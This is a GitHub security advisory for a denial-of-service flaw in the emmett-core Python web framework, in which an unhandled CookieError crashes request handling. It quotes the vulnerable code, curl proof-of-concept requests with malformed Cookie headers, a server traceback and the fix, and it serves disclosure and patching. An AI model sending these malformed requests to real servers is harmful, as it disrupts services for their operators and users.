GitHub Advisoryadvisory · PyPI
GHSA-x6cr-mq53-cc76 Emmett-Core: Unhandled CookieError Exception Causing Denial of Service
HIGH
Official page ↗
- Aliases
- CVE-2026-25577
- Ecosystem
- PyPI
- Packages
- emmett-core
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-248, CWE-703
- Reviewed
- 2026-02-10
Affected packages
• PyPI emmett-core: < 1.3.11 → fixed in 1.3.11
Description
Summary
The `cookies` property in `emmett_core.http.wrappers.Request` does not handle
`CookieError` exceptions when parsing malformed Cookie headers. This allows
unauthenticated attackers to trigger HTTP 500 errors and cause denial of service.
Details
Location: `emmett_core/http/wrappers/__init__.py` (line 64)
Vulnerable Code:
```python
@cachedprop
def cookies(self) -> SimpleCookie:
cookies: SimpleCookie = SimpleCookie()
for cookie in self.headers.get("cookie", "").split(";"):
cookies.load(cookie) # No exception handling
return cookies
```
PoC
Sending cookies containing special characters such as /(){} will result in insufficient error handling and a server error.
```bash
$ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:/security=test"
Internal error
Time: 0.024363s
```
After the same error occurs several times, the server cannot process it normally.
```bash
$ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:(security=test"
Internal error
Time: 60.069334s
$ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:security=test"
Internal error
Time: 60.074031s
```
This is server log.
```bash
[2026-02-03 08:23:40,541] ERROR in handlers: Application exception:
Traceback (most recent call last):
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett/rsgi/handlers.py", line 70, in dynamic_handler
http = await self.router.dispatch(request, response)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/router.py", line 240, in dispatch
return await match.dispatch(reqargs, response)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py", line 57, in dispatch
await self._parallel_flow(self.flow_open)
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py", line 17, in _parallel_flow
raise task.exception()
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/sessions.py", line 102, in open_request
if self.cookie_name in self.current.request.cookies:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/utils.py", line 37, in __get__
obj.__dict__[self.__name__] = rv = self.fget(obj)
~~~~~~~~~^^^^^
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/http/wrappers/__init__.py", line 64, in cookies
cookies.load(cookie)
~~~~~~~~~~~~^^^^^^^^
File "/usr/lib/python3.13/http/cookies.py", line 516, in load
self.__parse_string(rawdata)
~~~~~~~~~~~~~~~~~~~^^^^^^^^^
File "/usr/lib/python3.13/http/cookies.py", line 580, in __parse_string
self.__set(key, rval, cval)
~~~~~~~~~~^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.13/http/cookies.py", line 472, in __set
M.set(key, real_value, coded_value)
~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.13/http/cookies.py", line 335, in set
raise CookieError('Illegal key %r' % (key,))
http.cookies.CookieError: Illegal key '/security'
```
Impact
This vulnerability allows unauthenticated attackers to cause denial of service
and performance degradation by sending malformed Cookie headers.
After this vulnerability occurs, we expect it to be difficult to use the normal service.
patch
`/emmett_core/http/wrappers/__init__.py`
```python
• from http.cookies import SimpleCookie
+ from http.cookies import SimpleCookie, CookieError # add CookieError
...
...
@cachedprop
def cookies(self) -> SimpleCookie:
cookies: SimpleCookie = SimpleCookie()
for cookie in self.headers.get("cookie", "").split(";"):
• cookies.load(cookie)
+ try:
+ cookies.load(cookie)
+ except CookieError:
+ continue
return cookies
```
Related
Alias · CVE (1)
- CVE-2026-25577 Emmett is a framework designed to simplify your development process. vulnerability
References
- https://github.com/emmett-framework/core/security/advisories/GHSA-x6cr-mq53-cc76 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-25577 advisory
- https://github.com/emmett-framework/core/commit/9557ea23a27cbadf7774d8bca6bbe4b54fa8a3ec web
- https://github.com/emmett-framework/core/commit/c126757133e118119a280b58f3bb345b1c9a8a2a web
- https://github.com/emmett-framework/core package